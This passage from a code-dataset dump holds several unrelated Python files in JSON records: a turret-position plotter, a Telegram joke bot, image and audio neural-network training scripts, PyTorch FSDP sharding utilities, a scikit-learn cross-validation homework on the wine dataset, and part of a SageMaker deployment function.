len(Sp) == 64:\n try:\n turretInfos = [ [int(Sp[7]), int(Sp[10]), int(Sp[13])], \n [int(Sp[17]), int(Sp[20]), int(Sp[23])], \n [int(Sp[27]), int(Sp[30]), int(Sp[33])], \n [int(Sp[37]), int(Sp[40]), int(Sp[43])], \n [int(Sp[47]), int(Sp[50]), int(Sp[53])], \n [int(Sp[57]), int(Sp[60]), int(Sp[63])]]\n for i in range(6):\n print(turretInfos[i][0], turretInfos[i][1], turretInfos[i][2])\n except:\n print(\"unexpected exception\")\n elif len(Sp) == 100:\n try:\n turretInfos = [ [int(Sp[7]), int(Sp[10]), int(Sp[13]), int(Sp[15]), int(Sp[17]), int(Sp[19])], \n [int(Sp[17+6]), int(Sp[20+6]), int(Sp[23+6]), int(Sp[31]), int(Sp[33]), int(Sp[35])], \n [int(Sp[27+12]), int(Sp[30+12]), int(Sp[33+12]), int(Sp[47]), int(Sp[49]), int(Sp[51])], \n [int(Sp[37+18]), int(Sp[40+18]), int(Sp[43+18]), int(Sp[63]), int(Sp[65]), int(Sp[67])], \n [int(Sp[47+24]), int(Sp[50+24]), int(Sp[53+24]), int(Sp[79]), int(Sp[81]), int(Sp[83])], \n [int(Sp[57+30]), int(Sp[60+30]), int(Sp[63+30]), int(Sp[95]), int(Sp[97]), int(Sp[99])]]\n for i in range(6):\n print(turretInfos[i][0], turretInfos[i][1], turretInfos[i][2])\n except:\n print(\"unexpected exception\")\n else:\n print(\"bad split \", len(Sp))\n \n \n c1,c2,c3 = cList.pop(0)\n c1.undraw()\n c2.undraw()\n c3.undraw()\n \n for j,v in enumerate(cList):\n for c in v:\n c.setOutline(HIST_COLORS[j])\n \n R1 = turretInfos[0][0]\n R2 = turretInfos[1][0]\n R3 = turretInfos[2][0]\n \n c1 = Circle(D1_POINT, R1)\n c2 = Circle(D2_POINT, R2)\n c3 = Circle(D3_POINT, R3)\n c1.setOutline(\"red\")\n c2.setOutline(\"red\")\n c3.setOutline(\"red\")\n c1.draw(win)\n c2.draw(win)\n c3.draw(win)\n cList.append([c1,c2,c3])\n \n \n L12.undraw()\n L23.undraw()\n L31.undraw()\n \n \n # equation for L12\n # Y = 0*X + b\n # where b = \n # if R1+R2=6: #this is the embedded calculation\n X = turretInfos[0][4]\n Y = turretInfos[0][5]\n A_abs = turretInfos[0][3]*2*PI/360\n dir0line_emb.undraw()\n dir0line_emb = Line(Point(X,Y),Point(X+70*cos(A_abs),Y+70*sin(A_abs)))\n dir0line_emb.setWidth(2)\n dir0line_emb.setFill(\"red\") #TODO check if this could be done only at init (not erased by undraw)\n dir0line_emb.draw(win)\n \n pos_emb.undraw() \n pos_emb = Circle(Point(X,Y),50)\n pos_emb.setOutline(\"yellow\")\n pos_emb.draw(win)\n \n X = turretInfos[3][4]\n Y = turretInfos[3][5]\n pos4_emb.undraw() \n pos4_emb = Circle(Point(X,Y),50)\n pos4_emb.setOutline(\"yellow\")\n pos4_emb.draw(win)\n \n X = turretInfos[4][4]\n Y = turretInfos[4][5]\n pos5_emb.undraw() \n pos5_emb = Circle(Point(X,Y),50)\n pos5_emb.setOutline(\"yellow\")\n pos5_emb.draw(win)\n \n X = turretInfos[5][4]\n Y = turretInfos[5][5]\n pos6_emb.undraw() \n pos6_emb = Circle(Point(X,Y),50)\n pos6_emb.setOutline(\"yellow\")\n pos6_emb.draw(win)\n \n #time.sleep(0.1) #100ms sleep between updates\n #win.flush()\n update() # update the window as win.autoflush = False\n time.sleep(0.01)\n ser.close()\n print(\"Program ended, click into the window to close !!!\")\n win.getMouse()\n \n \n","sub_path":"Softwares/python_debug/drawPosition.py","file_name":"drawPosition.py","file_ext":"py","file_size_in_byte":17275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"338261730","text":"from telegram.ext import Updater, CommandHandler\nimport telegram\nimport logging\nfrom random import randint\nfrom datetime import time\nimport os\nimport re\n# Functions to fetch submissions from r/Jokes\nfrom subreddits import joke, lotsofjokes, showerthoughts\n# Database module for CRUD subscriptions\nimport db\n\nlogging.basicConfig(format = '%(asctime)s - %(name)%s - %(levelname)%s - %(message)%s', level = logging.INFO)\n\ndef submissionString(submission):\n \"\"\"Returns a formatted string of submission title and selftext\"\"\"\n return str(submission.title) + \"\\n\\n\" + \\\n str(re.sub(r'(E|e)(dit|DIT)[#0-9 ]?.*:.*','',submission.selftext))\n\ndef routineJoke(bot, job):\n \"\"\"Send top Reddit's r/Jokes of the day daily\"\"\"\n subscriberList = db.getSubscriberList()\n for chatid in subscriberList['subscribers']:\n try:\n bot.send_message(chat_id = chatid, text = submissionString(joke()))\n except telegram.error.BadRequest:\n print('Error: Chat ID - ' + chatid + ' doesn\\'t exist')\n \ndef start(bot, update):\n \"\"\"Add a chat/group (from where /start is called) to the subscribers list\"\"\"\n chatid = str(update.message.chat_id)\n\n if(db.findSubscriber(chatid)):\n bot.send_message(chat_id = chatid, text = \"You're already under subscription.\")\n else:\n db.addSubscription(chatid)\n bot.send_message(chat_id = chatid, text = \"Subscribed!\")\n \ndef stop(bot, update):\n \"\"\"Remove a chat/group (from where /stop is called) from the subscribers list\"\"\"\n chatid = str(update.message.chat_id)\n db.removeSubscription(chatid)\n bot.send_message(chat_id = chatid, text = \"No more daily jokes? Okay bye :/\")\n\ndef dayJoke(bot, update):\n \"\"\"Send top Reddit's r/Jokes of the day\"\"\"\n bot.send_message(chat_id = update.message.chat_id, text = submissionString(joke()))\n\ndef getRandomSubmission(submissionSet):\n rndm = randint(0,99)\n x = 0\n for submission in submissionSet:\n if x == rndm:\n return submissionString(submission)\n x+=1\n\ndef randomJoke(bot, update):\n \"\"\"Send a random joke of the day from the top 100 submissions\"\"\"\n bot.send_message(chat_id = update.message.chat_id, text = getRandomSubmission(lotsofjokes()))\n\ndef showerThought(bot, update):\n \"\"\"Send a random shower thought of the day from the top 100 submissions\"\"\"\n bot.send_message(chat_id = update.message.chat_id, text = getRandomSubmission(showerthoughts()))\n\nTOKEN = os.getenv('TLGTOKN')\nPORT = int(os.getenv('PORT'))\n\nupdater = Updater(token=TOKEN)\n\ndispatcher = updater.dispatcher\n\njob_queue = updater.job_queue\n\nstart_handler = CommandHandler('start',start)\nstop_handler = CommandHandler('stop',stop)\nday_joke_handler = CommandHandler('dayjoke',dayJoke)\nrandom_joke_handler = CommandHandler('randomjoke',randomJoke)\nshower_thought_handler = CommandHandler('showerthought',showerThought)\n\ntm = time(13,00)\njob_queue.run_daily(routineJoke, tm)\n\ndispatcher.add_handler(start_handler)\ndispatcher.add_handler(stop_handler)\ndispatcher.add_handler(day_joke_handler)\ndispatcher.add_handler(random_joke_handler)\ndispatcher.add_handler(shower_thought_handler)\n\nupdater.start_webhook(listen = '0.0.0.0', port = PORT, url_path = TOKEN)\nupdater.bot.set_webhook('https://dailyjokebot.herokuapp.com/' + TOKEN)\nupdater.idle()\n","sub_path":"funbot.py","file_name":"funbot.py","file_ext":"py","file_size_in_byte":3310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"561424602","text":"from os import listdir\r\nimport cv2\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport matplotlib.pyplot as plt\r\n\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\nprint(device)\r\n\r\nimg_size = 64\r\nlabels = {\"cat\": 0, \"dog\": 1}\r\nname_td = \"dvc_td.npy\"\r\nname_model = \"dvc_CNN.pt\"\r\nl_rate = 0.001\r\nb_size = 100\r\nEPOCHS = 5\r\n\r\nclass CvD():\r\n files = listdir(\"./train\")\r\n training_data = []\r\n n = np.zeros(3, dtype=int)\r\n\r\n def build_td(self, BLD_DATA):\r\n if BLD_DATA == True:\r\n for name in tqdm(self.files):\r\n try:\r\n lbl = np.eye(2)[labels.get(str(name.split(\".\")[0]))]\r\n self.n[labels.get(str(name.split(\".\")[0]))] += 1\r\n img = cv2.resize(cv2.imread(f\"./train/{name}\", cv2.IMREAD_GRAYSCALE), (img_size, img_size)) / 255\r\n self.training_data.append([np.array(img), lbl])\r\n # print(lbl, img)\r\n # plt.imshow(img, cmap=\"gray\")\r\n # plt.show()\r\n except Exception as e:\r\n self.n[2] += 1\r\n pass\r\n np.random.shuffle(self.training_data)\r\n np.save(name_td, self.training_data)\r\n print(\"Data distribution:\", self.n)\r\n else: print(\"Build mode off\")\r\n\r\n\r\nclass CNN(nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n self.conv1 = nn.Conv2d(1, 32, 5)\r\n self.conv2 = nn.Conv2d(32, 64, 5)\r\n self.conv3 = nn.Conv2d(64, 128, 5)\r\n self.pool = nn.MaxPool2d(2, 2)\r\n\r\n x = torch.randn(img_size, img_size).view(-1,1,img_size,img_size)\r\n self.linear_len = None\r\n self.convs(x)\r\n\r\n self.fc1 = nn.Linear(self.linear_len, 512)\r\n self.fc2 = nn.Linear(512, 2)\r\n\r\n def convs(self, x):\r\n x = self.pool(F.relu(self.conv1(x)))\r\n x = self.pool(F.relu(self.conv2(x)))\r\n if self.linear_len is None:\r\n # self._to_linear = x[0].shape[0] * x[0].shape[1] * x[0].shape[2]\r\n self.linear_len = len(torch.flatten(x))\r\n return x\r\n\r\n def forward(self, x):\r\n x = self.convs(x)\r\n x = x.view(-1, self.linear_len)\r\n x = F.relu(self.fc1(x))\r\n x = self.fc2(x)\r\n return F.softmax(x, dim=1)\r\n\r\nnet = CNN().to(device)\r\n# print(net)\r\n\r\nclass runCNN():\r\n dataset = np.load(name_td, allow_pickle=True)\r\n trainPercentage = 0.9\r\n trainSize = int(trainPercentage * len(dataset))\r\n X = torch.Tensor([i[0] for i in dataset]).view(-1, img_size, img_size)\r\n y = torch.Tensor([i[1] for i in dataset])\r\n train_X = X[:trainSize]\r\n train_y = y[:trainSize]\r\n test_X = X[trainSize:]\r\n test_y = y[trainSize:]\r\n\r\n def train(self, net):\r\n decayRate = 0.9\r\n optimizer = optim.Adam(net.parameters(), lr=l_rate)\r\n loss_function = nn.MSELoss()\r\n lr_scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer=optimizer, gamma=decayRate)\r\n for epoch in range(EPOCHS):\r\n for i in range(0, len(self.train_X), b_size):\r\n batch_X = self.train_X[i:i + b_size].view(-1, 1, img_size, img_size).to(device)\r\n batch_y = self.train_y[i:i + b_size].to(device)\r\n outputs = net(batch_X)\r\n # print(batch_y, outputs)\r\n net.zero_grad()\r\n loss = loss_function(outputs, batch_y)\r\n loss.backward()\r\n optimizer.step()\r\n if i % b_size*2 == 0:\r\n print(f\"Epoch: {epoch + 1} / {EPOCHS} | {round(100* i / len(self.train_X), 3)} %\\t| Loss: {loss}\")\r\n lr_scheduler.step()\r\n torch.save(net.state_dict(), name_model)\r\n\r\n def test(self, net):\r\n net.load_state_dict(torch.load(name_model))\r\n net.eval()\r\n correct_classes = np.zeros(len(labels), dtype=float)\r\n total_classes = np.zeros(len(labels), dtype=float)\r\n with torch.no_grad():\r\n print(f\"Testing...\")\r\n for i in range(len(self.test_X)):\r\n true_class = torch.argmax(self.test_y[i].to(device))\r\n # print(np.shape(self.test_X[i].view(-1, 1, img_size, img_size)), np.dtype(self.test_X[i].view(-1, 1, img_size, img_size)))\r\n outputs = net(self.test_X[i].view(-1, 1, img_size, img_size).to(device))[0]\r\n predicted_class = torch.argmax(outputs)\r\n if true_class == predicted_class:\r\n correct_classes[true_class] += 1\r\n total_classes[true_class] += 1\r\n correct = np.sum(correct_classes)\r\n total = np.sum(total_classes)\r\n acc_classes = np.round(correct_classes / total_classes, 3)\r\n print(f\"Overall accuracy: {round(100 * correct / total, 3)}%\")\r\n for i, key in enumerate(labels.keys()):\r\n print(f\"{key}: {100 * acc_classes[i]}%\")\r\n\r\n def testimg(self, net):\r\n net.load_state_dict(torch.load(name_model))\r\n net.eval()\r\n net = net.float()\r\n with torch.no_grad():\r\n print(f\"Testing...\")\r\n file = listdir(\"./figused\")[0]\r\n img = np.array(cv2.resize(cv2.imread(f\"./figused/{file}\", cv2.IMREAD_GRAYSCALE), (img_size, img_size)) / 255)\r\n outputs = net(torch.tensor([[img]]).float())[0]\r\n plt.imshow(img, cmap=\"gray\")\r\n plt.axis('off')\r\n plt.title(f\"CAT: {round(100*float(outputs[0]), 3)}%\\nDOG: {round(100*float(outputs[1]), 3)}%\",\r\n fontsize=\"large\", weight=\"bold\")\r\n plt.show()\r\n\r\n# a = CvD()\r\n# a.build_td(BLD_DATA=False)\r\na = runCNN()\r\n# a.train(net)\r\na.test(net)\r\n# a.testimg(net)","sub_path":"DvC.py","file_name":"DvC.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"22647951","text":"import tensorflow as tf\nfrom os import path, listdir\nfrom config import get_param, get_directory_name\nfrom dataset import make_dataset\nfrom model import TasNet, TasNetParam, SDR\n\nparam = get_param()\ndirectory_name = get_directory_name(param)\nmodel = TasNet.make(param, tf.keras.optimizers.Adam(), SDR(param))\n\nepoch = 0\nif path.exists(directory_name):\n checkpoints = [name for name in listdir(\n directory_name) if \"ckpt\" in name]\n checkpoints.sort()\n checkpoint_name = checkpoints[-1].split(\".\")[0]\n epoch = int(checkpoint_name) + 1\n model.load_weights(f\"{directory_name}/{checkpoint_name}.ckpt\")\n\nwhile True:\n checkpoint_path = f\"{directory_name}/{epoch:05d}.ckpt\"\n print(f\"Epoch: {epoch}\")\n dataset = make_dataset(param, 5, 100, 1000)\n history = model.fit(dataset)\n model.save_weights(checkpoint_path)\n epoch += 1\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"362033331","text":"import bisect\nimport itertools\nimport math\nfrom typing import Any, Dict, List, Optional, Tuple\n\nimport torch\nimport torch.distributed as dist\nimport torch.nn.functional as F\nfrom torch.distributed import distributed_c10d\nfrom torch.distributed._shard.sharded_tensor import (\n Shard,\n ShardedTensor,\n ShardedTensorMetadata,\n TensorProperties,\n)\nfrom torch.distributed._shard.sharding_spec import (\n ChunkShardingSpec,\n EnumerableShardingSpec,\n ShardingSpec,\n ShardMetadata,\n)\n\n\ndef _sharding_spec_to_offsets(\n sharding_spec: ShardingSpec, tensor_numel: int, world_size: int\n) -> List[int]:\n r\"\"\"\n Translates the sharding spec to a list of offsets along dim 0. If the\n sharding spec is ChunkShardingSpec, only the ``dim`` is used and the\n placement is not used.\n \"\"\"\n offsets: List[int] = []\n if isinstance(sharding_spec, EnumerableShardingSpec):\n for shard in sharding_spec.shards:\n offsets.append(shard.shard_offsets[0])\n elif isinstance(sharding_spec, ChunkShardingSpec):\n assert sharding_spec.dim == 0\n chunk_size = math.ceil(tensor_numel / world_size)\n if chunk_size == 1:\n offsets = [\n rank if rank < tensor_numel else tensor_numel\n for rank in range(world_size)\n ]\n else:\n offsets = [chunk_size if rank > 0 else 0 for rank in range(world_size)]\n offsets = list(itertools.accumulate(offsets))\n else:\n raise ValueError(f\"Un-recognized sharding spec type {type(sharding_spec)}.\")\n\n return offsets\n\n\ndef _offsets_to_split_sizes(\n input_offsets: List[int],\n output_offsets: List[int],\n tensor_numel: int,\n world_size: int,\n my_rank: int,\n) -> Tuple[List[int], List[int]]:\n r\"\"\"\n Given the shard offsets for each rank of the input tensor and output tensor,\n this API returns the corresponding split sizes that can be passed to\n all_to_all_single().\n \"\"\"\n\n def _get_interval(offsets):\n if my_rank != world_size - 1:\n return offsets[my_rank], offsets[my_rank + 1] - 1\n else:\n return offsets[my_rank], tensor_numel - 1\n\n def _offsets_to_sizes(offsets, begin, end):\n sizes = []\n for i, offset in enumerate(offsets):\n next_offset = offsets[i + 1] if i < len(offsets) - 1 else end + 1\n sizes.append(\n (next_offset - offset)\n - max(begin - offset, 0)\n - max(next_offset - end - 1, 0)\n )\n return sizes\n\n def _convert(from_offsets, to_offsets, split_sizes):\n begin, end = _get_interval(from_offsets)\n to_begin_rank = bisect.bisect(to_offsets, begin) - 1\n to_end_rank = bisect.bisect(to_offsets, end) - 1\n _split_sizes = _offsets_to_sizes(\n to_offsets[to_begin_rank : to_end_rank + 1], begin, end\n )\n split_sizes[to_begin_rank : to_end_rank + 1] = _split_sizes\n\n input_split_sizes = [0 for _ in range(world_size)]\n output_split_sizes = [0 for _ in range(world_size)]\n _convert(input_offsets, output_offsets, input_split_sizes)\n _convert(output_offsets, input_offsets, output_split_sizes)\n\n return input_split_sizes, output_split_sizes\n\n\ndef _reshard_flatten_tensor(\n input_tensor: ShardedTensor,\n output_spec: ShardingSpec,\n world_size: int,\n my_rank: int,\n device: torch.device,\n process_group: Optional[dist.ProcessGroup],\n) -> torch.Tensor:\n \"\"\"\n Resharded a sharded flatten tensor, this is used by FSDP to do sharded\n state_dict. But the functionaility is not supported by ShardedTensor.\n This API is designed to be used for FSDP; therefore this API supports only\n 1-D ShardedTensor (hence the naming, reshard_flatten_tensor).\n\n This API uses the ChunkShardingSpec and EnumerableShardingSpec from\n torch.distributed.sharding_spec but ignores the placement field in\n ChunkShardingSpec, as the placement requires the callees understand the\n number of GPUs per node. The API simply uses the semantics of the sharding\n specs.\n\n Args:\n input_tensor (ShardedTensor): the original ShardedTensor. Must be 1D.\n output_spec (ShardingSpec): the sharding spect for the output tensor.\n world_size (int): total trainer count.\n my_rank (int): the rank for this trainer.\n\n Returns:\n The local shard for the new ShardedTensor.\n \"\"\"\n\n input_spec = input_tensor.sharding_spec()\n size = input_tensor.size()\n if isinstance(size, int):\n raise ValueError(\"The input tensor has no dimensions.\")\n tensor_numel = size.numel()\n input_offsets = _sharding_spec_to_offsets(input_spec, tensor_numel, world_size)\n output_offsets = _sharding_spec_to_offsets(output_spec, tensor_numel, world_size)\n input_split_sizes, output_split_sizes = _offsets_to_split_sizes(\n input_offsets, output_offsets, tensor_numel, world_size, my_rank\n )\n output_size = sum(output_split_sizes)\n local_shard = torch.empty(output_size, dtype=input_tensor.dtype, device=device)\n dist.all_to_all_single(\n local_shard,\n input_tensor.local_shards()[0].tensor,\n input_split_sizes=input_split_sizes,\n output_split_sizes=output_split_sizes,\n group=process_group,\n )\n return local_shard\n\n\ndef _all_gather_sharded_tensor(\n sharded_tensor: ShardedTensor, pg: Optional[dist.ProcessGroup] = None\n) -> torch.Tensor:\n if pg is None:\n pg = distributed_c10d._get_default_group()\n world_size = dist.get_world_size(pg)\n shards = sharded_tensor.local_shards()\n dim_0_size = sharded_tensor.size()[0] # type: ignore[index]\n tensor_numel = sharded_tensor.size().numel() # type: ignore[union-attr]\n chunk_size = math.ceil(dim_0_size / world_size) * tensor_numel // dim_0_size\n cuda_device = torch.device(\"cuda\", torch.cuda.current_device())\n if shards:\n local_tensor = shards[0].tensor.flatten()\n if not local_tensor.is_cuda:\n move_to_cpu = torch.ones(1, device=cuda_device)\n local_tensor = local_tensor.cuda()\n else:\n move_to_cpu = torch.zeros(1, device=cuda_device)\n num_padding = chunk_size - local_tensor.numel()\n if num_padding > 0:\n local_tensor = F.pad(local_tensor, [0, num_padding])\n else:\n local_tensor = torch.zeros(\n chunk_size, dtype=sharded_tensor.dtype, device=cuda_device\n )\n move_to_cpu = torch.zeros(1, device=cuda_device)\n\n tensor = torch.empty(\n chunk_size * world_size,\n dtype=local_tensor.dtype,\n device=cuda_device,\n )\n dist._all_gather_base(tensor, local_tensor, group=pg)\n\n tensor = tensor.narrow(0, 0, tensor_numel).reshape(sharded_tensor.size())\n return tensor\n\n\ndef _gather_state_dict(\n state_dict: Dict[str, Any],\n pg: Optional[dist.ProcessGroup] = None,\n) -> Dict[str, Any]:\n \"\"\"\n Given a state_dict, this API gathers all the ShardedTensors in the state_dict.\n \"\"\"\n new_state_dict = {}\n for key, tensor in state_dict.items():\n if isinstance(tensor, ShardedTensor):\n output_tensor = _all_gather_sharded_tensor(tensor, pg)\n if tensor.local_shards() and tensor.local_shards()[0].tensor.is_cuda:\n tensor = output_tensor\n else:\n tensor = output_tensor.cpu()\n new_state_dict[key] = tensor\n return new_state_dict\n\n\ndef _create_chunk_sharded_tensor(\n tensor: torch.Tensor,\n rank: int,\n world_size: int,\n num_devices_per_node: int,\n pg: dist.ProcessGroup,\n) -> ShardedTensor:\n \"\"\"\n Shard a tensor to chunks along the first dimension. The local rank will gets its\n corresponding chunk as the local shard to create a ShardedTensor.\n \"\"\"\n chunks = tensor.chunk(world_size, dim=0)\n if len(chunks) > rank:\n local_shard = chunks[rank].clone()\n offsets = [0 for _ in tensor.size()]\n offsets[0] = math.ceil(tensor.size()[0] / world_size) * rank\n local_shards = [Shard.from_tensor_and_offsets(local_shard, offsets, rank)]\n else:\n local_shards = []\n\n # Create a ShardedTensor without invoking communication.\n chunk_sizes = [list(chunk.size()) for chunk in chunks]\n dim0_offsets = [0] + list(\n itertools.accumulate([chunk_size[0] for chunk_size in chunk_sizes])\n )[:-1]\n offsets = [0] * (len(chunk_sizes[0]) - 1)\n chunk_offsets = [[d0] + offsets for d0 in dim0_offsets]\n placements = [\n f\"rank:{r}/cuda:{r % num_devices_per_node}\" for r in range(len(chunk_sizes))\n ]\n assert len(chunk_sizes) == len(chunk_offsets) == len(placements)\n shard_metadata = [\n ShardMetadata(offset, size, placement)\n for offset, size, placement in zip(chunk_offsets, chunk_sizes, placements)\n ]\n sharded_tensor_metadata = ShardedTensorMetadata(\n shards_metadata=shard_metadata,\n size=tensor.size(),\n tensor_properties=TensorProperties(\n dtype=tensor.dtype,\n layout=tensor.layout,\n requires_grad=False,\n memory_format=torch.contiguous_format,\n pin_memory=tensor.is_pinned(),\n ),\n )\n return ShardedTensor._init_from_local_shards_and_global_metadata(\n local_shards, sharded_tensor_metadata=sharded_tensor_metadata, process_group=pg\n )\n","sub_path":"torch/distributed/fsdp/_shard_utils.py","file_name":"_shard_utils.py","file_ext":"py","file_size_in_byte":9358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"122612318","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport random\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\ndf_wine = pd.read_csv('https://archive.ics.uci.edu/ml/'\r\n 'machine-learning-databases/wine/wine.data',\r\n header=None)\r\n\r\n# if the Wine dataset is temporarily unavailable from the\r\n# UCI machine learning repository, un-comment the following line\r\n# of code to load the dataset from a local path:\r\n\r\n# df_wine = pd.read_csv('wine.data', header=None)\r\n\r\n# df_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'Ash',\r\n# 'Alcalinity of ash', 'Magnesium', 'Total phenols',\r\n# 'Flavanoids', 'Nonflavanoid phenols', 'Proanthocyanins',\r\n# 'Color intensity', 'Hue',\r\n# 'OD280/OD315 of diluted wines', 'Proline']\r\n\r\n# print(df_wine.head())\r\n#\r\n# print(df_wine.tail())\r\n\r\n# X, y = df_wine.iloc[:, 1:].values, df_wine.iloc[:, 0].values\r\n# X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=0)\r\n#\r\n# sc = StandardScaler()\r\n# X_train_std = sc.fit_transform(X_train)\r\n# X_test_std = sc.transform(X_test)\r\n\r\nprint(df_wine.shape)\r\nfrom sklearn.preprocessing import LabelEncoder\r\nX = df_wine.loc[:, 1:].values\r\ny = df_wine.loc[:, 0].values\r\nle = LabelEncoder()\r\ny = le.fit_transform(y)\r\nprint(le.classes_)\r\n\r\n# 1) Split dataset into ratio 7:3 for training and test sets, respectively.\r\n# Then use pipeline with StandardScaler(), PCA (n=3), and SVM with RBF kernel to fit the\r\n# training set and predict the test set. Report the accuracy score.\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, stratify=y, random_state=0)\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.pipeline import make_pipeline\r\n\r\n\r\n# pipe_lr = make_pipeline(StandardScaler(),PCA(n_components=2), LogisticRegression(random_state=1))\r\n# pipe_lr.fit(X_train, y_train)\r\n# y_pred = pipe_lr.predict(X_test)\r\n# print('Test Accuracy: %.3f' % pipe_lr.score(X_test, y_test))\r\n\r\n\r\nfrom sklearn.svm import SVC\r\npipe_lr = make_pipeline(StandardScaler(),PCA(n_components=3), SVC(random_state=1))\r\npipe_lr.fit(X_train, y_train)\r\ny_pred = pipe_lr.predict(X_test)\r\nprint('Test Accuracy: %.3f' % pipe_lr.score(X_test, y_test))\r\n\r\n# 2) Use StratifiedKFold cross-validation to report the accuracy score (mean with std).\r\n# What are differences between standard k-fold and StratifiedKFold?\r\n# What are differences between StratifiedKFold and cross_val_score (in [12] and [13] of this notebook)?\r\n\r\n# KFold will divide your data set into prespecified number of folds, and every sample must be in one and only one fold.\r\n# A fold is a subset of your dataset.\r\n#\r\n# ShuffleSplit will randomly sample your entire dataset during each iteration to generate a training set and a test set.\r\n# The test_size and train_size parameters control how large the test and training test set should be for each iteration.\r\n# Since you are sampling from the entire dataset during each iteration, values selected during one iteration, could be selected again during another iteration.\r\n#\r\n# Summary: ShuffleSplit works iteratively, KFold just divides the dataset into k folds.\r\n#\r\n# Difference when doing validation\r\n#\r\n# In KFold, during each round you will use one fold as the test set and all the remaining folds as your training set.\r\n# However, in ShuffleSplit, during each round n you should only use the training and test set from iteration n.\r\n# As your data set grows, cross validation time increases, making shufflesplits a more attractive alternate.\r\n# If you can train your algorithm, with a certain percentage of your data as opposed to using all k-1 folds, ShuffleSplit is an attractive option.\r\n\r\nfrom sklearn.model_selection import KFold\r\nfrom sklearn import svm\r\nsvc = svm.SVC(C=1, kernel='linear')\r\nkf = KFold(n_splits=10)\r\nkf.get_n_splits(X)\r\n# print(kf)\r\nKF_scores = list()\r\nfor train_index, test_index in kf.split(X):\r\n # print(\"TRAIN:\", train_index, \"TEST:\", test_index)\r\n X_train, X_test = X[train_index], X[test_index]\r\n y_train, y_test = y[train_index], y[test_index]\r\n KF_scores.append(svc.fit(X_train, y_train).score(X_test, y_test))\r\nprint('\\nKF_scores: %s' % KF_scores)\r\nprint('KF accuracy: %.3f +/- %.3f' % (np.mean(KF_scores), np.std(KF_scores)))\r\n\r\n\r\nfrom sklearn.model_selection import StratifiedKFold\r\nkfold = StratifiedKFold(n_splits=10,random_state=1).split(X_train, y_train)\r\nStratifiedKFold_scores = []\r\nfor k, (train, test) in enumerate(kfold):\r\n pipe_lr.fit(X_train[train], y_train[train])\r\n score = pipe_lr.score(X_train[test], y_train[test])\r\n StratifiedKFold_scores.append(score)\r\n print('StratifiedFold: %2d, Class dist.: %s, Acc: %.3f' % (k + 1,np.bincount(y_train[train]), score))\r\n\r\nprint('StratifiedKFold CV accuracy: %.3f +/- %.3f' % (np.mean(StratifiedKFold_scores), np.std(StratifiedKFold_scores)))\r\n\r\n\r\nfrom sklearn.model_selection import cross_val_score\r\n\r\nCV_scores = cross_val_score(estimator=pipe_lr, X=X_train,y=y_train, cv=10, n_jobs=1)\r\nprint('\\nCV accuracy scores: %s' % CV_scores)\r\nprint('CV accuracy: %.3f +/- %.3f' % (np.mean(CV_scores), np.std(CV_scores)))\r\n\r\nsns.set()\r\nsns.set_context(\"talk\")\r\nplt.plot(KF_scores,color='r',lw = 2.0, linestyle='--',label='standard k-fold')\r\nplt.plot(StratifiedKFold_scores,color='g', lw = 2.0, linestyle=':',label='StratifiedKFold')\r\nplt.ylabel('Scores', fontsize = 16)\r\nplt.xlabel('# of Fold', fontsize = 16)\r\nplt.title(\"standard k-fold Vs. StratifiedKFold\")\r\nplt.legend(loc='best',fontsize = 14)\r\nplt.show()\r\n\r\n\r\nplt.plot(CV_scores,color='r',lw = 2.0, linestyle='--',label='CV_scores')\r\nplt.plot(StratifiedKFold_scores,color='g', lw = 2.0, linestyle=':',label='StratifiedKFold')\r\nplt.ylabel('Scores', fontsize = 16)\r\nplt.xlabel('# of Fold', fontsize = 16)\r\nplt.title(\"CV_scores Vs. StratifiedKFold\")\r\nplt.legend(loc='best',fontsize = 14)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n","sub_path":"HW3_Submit/HW3/NS_HW3/HW3_Q1_2.py","file_name":"HW3_Q1_2.py","file_ext":"py","file_size_in_byte":6122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"310972798","text":"from __future__ import print_function\nimport os\nimport json\nimport boto3\nfrom datetime import datetime\n\n\nSM_CLIENT = boto3.client(\"sagemaker\")\nMODEL_PREFIX = os.environ[\"MODEL_PREFIX\"]\nENDPOINT_PREFIX = os.environ[\"ENDPOINT_PREFIX\"]\n\n\ndef get_model_name(prefix):\n print(\"getting model job name with prefix %s\" % prefix)\n results = SM_CLIENT.list_models(NameContains=prefix,\n SortBy=\"CreationTime\",\n SortOrder=\"Descending\")\n return results[\"Models\"][0][\"ModelName\"]\n\n\ndef get_model_config(model_name):\n print(\"getting model config for %s\" % model_name)\n return SM_CLIENT.describe_model(ModelName=model_name)\n\n\ndef create_model(prefix, model_url, config):\n print(\"creating model\")\n model_name = \"%s-%s\" % (prefix, datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\"))\n return SM_CLIENT.create_model(ModelName=model_name,\n ExecutionRoleArn=config[\"ExecutionRoleArn\"],\n Containers=[\n {\n \"Image\": config[\"Containers\"][0][\"Image\"],\n \"Environment\": config[\"Containers\"][0][\"Environment\"],\n \"ModelDataUrl\": model_url\n }\n ])\n\n\ndef 